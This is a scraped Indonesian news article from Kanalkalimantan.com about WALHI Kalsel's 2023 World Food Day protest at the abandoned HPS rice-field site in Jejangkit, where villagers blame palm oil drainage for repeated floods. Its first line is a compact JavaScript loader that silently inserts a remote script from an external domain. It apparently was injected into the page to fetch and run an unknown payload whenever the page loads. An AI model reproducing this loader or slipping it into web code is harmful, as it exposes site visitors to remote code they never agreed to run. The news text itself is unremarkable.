(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARABAHAN – Berboncengan, lelaki itu memacu cepat kuda besinya. Dari kejauhan, geberan bunyi knalpot jelas terdengar. Begitu menghampiri, ekspresi wajahnya garang, laganya bak preman kampung, suaranya agak tinggi membuka percakapan.
“Woy, kalian sudah izin kegiatan di sini?” tanya pemotor itu.
Seseorang berseloroh bilang, “Ngapain saya minta izin-izinan.”
“Kalian saja, membuang air menggunakan pompa ke sungai, tidak pernah meminta izin,” ejeknya.
Semua orang tertawa, canda mereka pecah mengiringi pertemuan pada Senin, 16 Oktober 2023, siang itu.
Mereka yang berboncengan mengenakan motor ialah Napiah dan Wari, warga Desa Jejangkit Muara. Sementara yang menyahut tadi ialah Kopral -sapaan akrab Rudy Fahrianor- anggota WALHI Kalsel yang datang menggunakan dua buah mobil, berjarak 36 kilometer dari Kota Banjarbaru.
Yang mereka maksud menggunakan pompa membuang air ke sungai tadi, tidak lain aktivitas perkebunan korporasi kelapa sawit yang diduga berkontribusi mengakibatkan dua kejadian banjir besar di Kecamatan Jejangkit, merendam ribuan rumah warga berbulan-bulan pada 2020 dan awal tahun 2023 tadi.
Baca juga: Regulasi Rumit Menimba Banjir Jejangkit
Mereka sebagian warga Jejangkit memang sudah akrab dengan para anggota WALHI. Pasalnya, hampir setahun sudah WALHI mengadvokasi mereka. Jika dihitung jari, pertemuan kali ini mungkin sudah yang kesebelasan kalinya. Namun, sayang pada pertemuan di hari itu, hanya sedikit warga yang berhadir.
Pada moment itu, WALHI melaksanakan aksi memperingati Hari Pangan Sedunia (HPS) 2023, di bekas lahan HPS yang pernah digunakan pemerintah sebagai lokasi di tahun 2018, dihadiri Menteri Pertanian Republik Indonesia (Mentan RI) Andi Amran Sulaiman, waktu itu ribuan orang berkumpul dari berbagai daerah di Kecamatan Jejangkit, Kabupaten Barito Kuala.
Seluas 4.000 hektare lahan rawa hingga ke Kecamatan Mandastana disulap menjadi lahan yang diharapkan produktif untuk urusan pertanian (Padi, red). Sayangnya sejak acara besar yang menggelontorkan dana puluhan miliaran rupiah itu, hingga 2022 lahan bekas HPS di Desa Jejangkit Muara sulit ditanami.
Banjir beberapa tahun belakangan, memaksa petani tidak lagi dapat menanam padi, hasil produksi pertanian padi merosot, begitu juga luas lahan yang sebagian mengalami alih fungsi lahan.
Baca juga: Putusan MK Dinilai Muluskan Gibran, Projo Kalsel: Kami Senang dan Gembira
Desa Jejangkit Muara hanya satu dari tujuh desa yang berada di Kecamatan Jejangkit, luasnya kurang lebih sekitar 1.200 hektare. Jauh dibanding luasan desa tetangga seperti Jejangkit Timur 12.000 hektare dan Jejangkit Barat 2.100 hektare.
Namun, jika dilihat luas sawah fungsionalnya lebih dari 90 persen Desa Jejangkit Muara adalah lahan pertanian, seluas 1.123 hektare. Paling luas dibanding desa lain yang hanya di angka 150 sampai 680 hektare saja.
Aksi mengkritisi pemerintah terkait HPS yang dilakukan WALHI, bukanlah yang pertama kali mereka lakukan. Minggu (15/10/2022) empat tahun pasca pelaksanaan HPS di Jejangkit, mereka juga melakukan aksi damai menyoroti lahan produktif untuk pangan di Bundaran Simpang 4 Banjarbaru.
Disamping melakukan aksi damai, mereka juga melakukan pernyataan sikap terkait pencanangan lahan produktif berkelanjutan untuk petani oleh Pemerintah Provinsi Kalsel hingga saat ini yang dianggap hanya sebagai seremonial saja.
Menurut mereka, persoalan pangan bukanlah hal yang sepele, ketimpang lahan pertanian dan perkebunan seperti yang terjadi di Jejangkit, menjadi bukti jika pemerintah daerah kurang memperhatikan kesejahteraan para petaninya.
“Kami ingin mengingatkan negara harus hadir kala masyarakat terhimpit lahannya.”
“Ada alih fungsi lahan perkebunan kelapa sawit itu mempengaruhi produktivitas lahan pertanian mereka,” kata Muhammad Jefry Raharja, anggota WALHI Kalsel, panjang lebar.
Baca juga: Peringatan Dini BMKG: Kalsel Dilanda Hujan Badai Angin Kencang
Aksi yang dilakukan hari ini menurut Jeffrey perlu dilakukan, agar dapat mengingatkan publik agar dapat terus mengawasi program atau proyek yang dilakukan oleh negara.
“Siapapun penggeraknya meski kita awasi jangan sampai ini hanya menjadi proyek seremonial saja. Ketika kita pantau tetapi tidak ada keberlanjutannya,” Jefri mengingatkan.
Usai menggelar aksi damai di bekas lahan HPS di Jejangkit, yang kini hanya ditumbuhi padang ilalang sejauh mata memandang, sebelum benar-benar pulang, WALHI dan tiga orang warga Jejangkit itu berkumpul sebentar di warung terdekat.
Menikmati segelas es dengan sedikit perasa barangkali dapat melepas dahaga, sebelum akhirnya mereka benar-benar pulang. (Kanalkalimantan.com/rdy).
Reporter: rdy
Editor: bie
KANALKALIMANTAN.COM, BANJARMASIN - Setelah Upah Minimun Provinsi (UMP) Kalimantan Selatan (Kalsel) tahun 2025 disepakati menjadi… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Dinas Kominikasi Informatika Statistik dan Persandian (DKISP) Kabupaten Banjar meraih predikat Terbaik… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengungkap kasus pencurian sepeda motor dengan menangkap… Read More
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
This website uses cookies.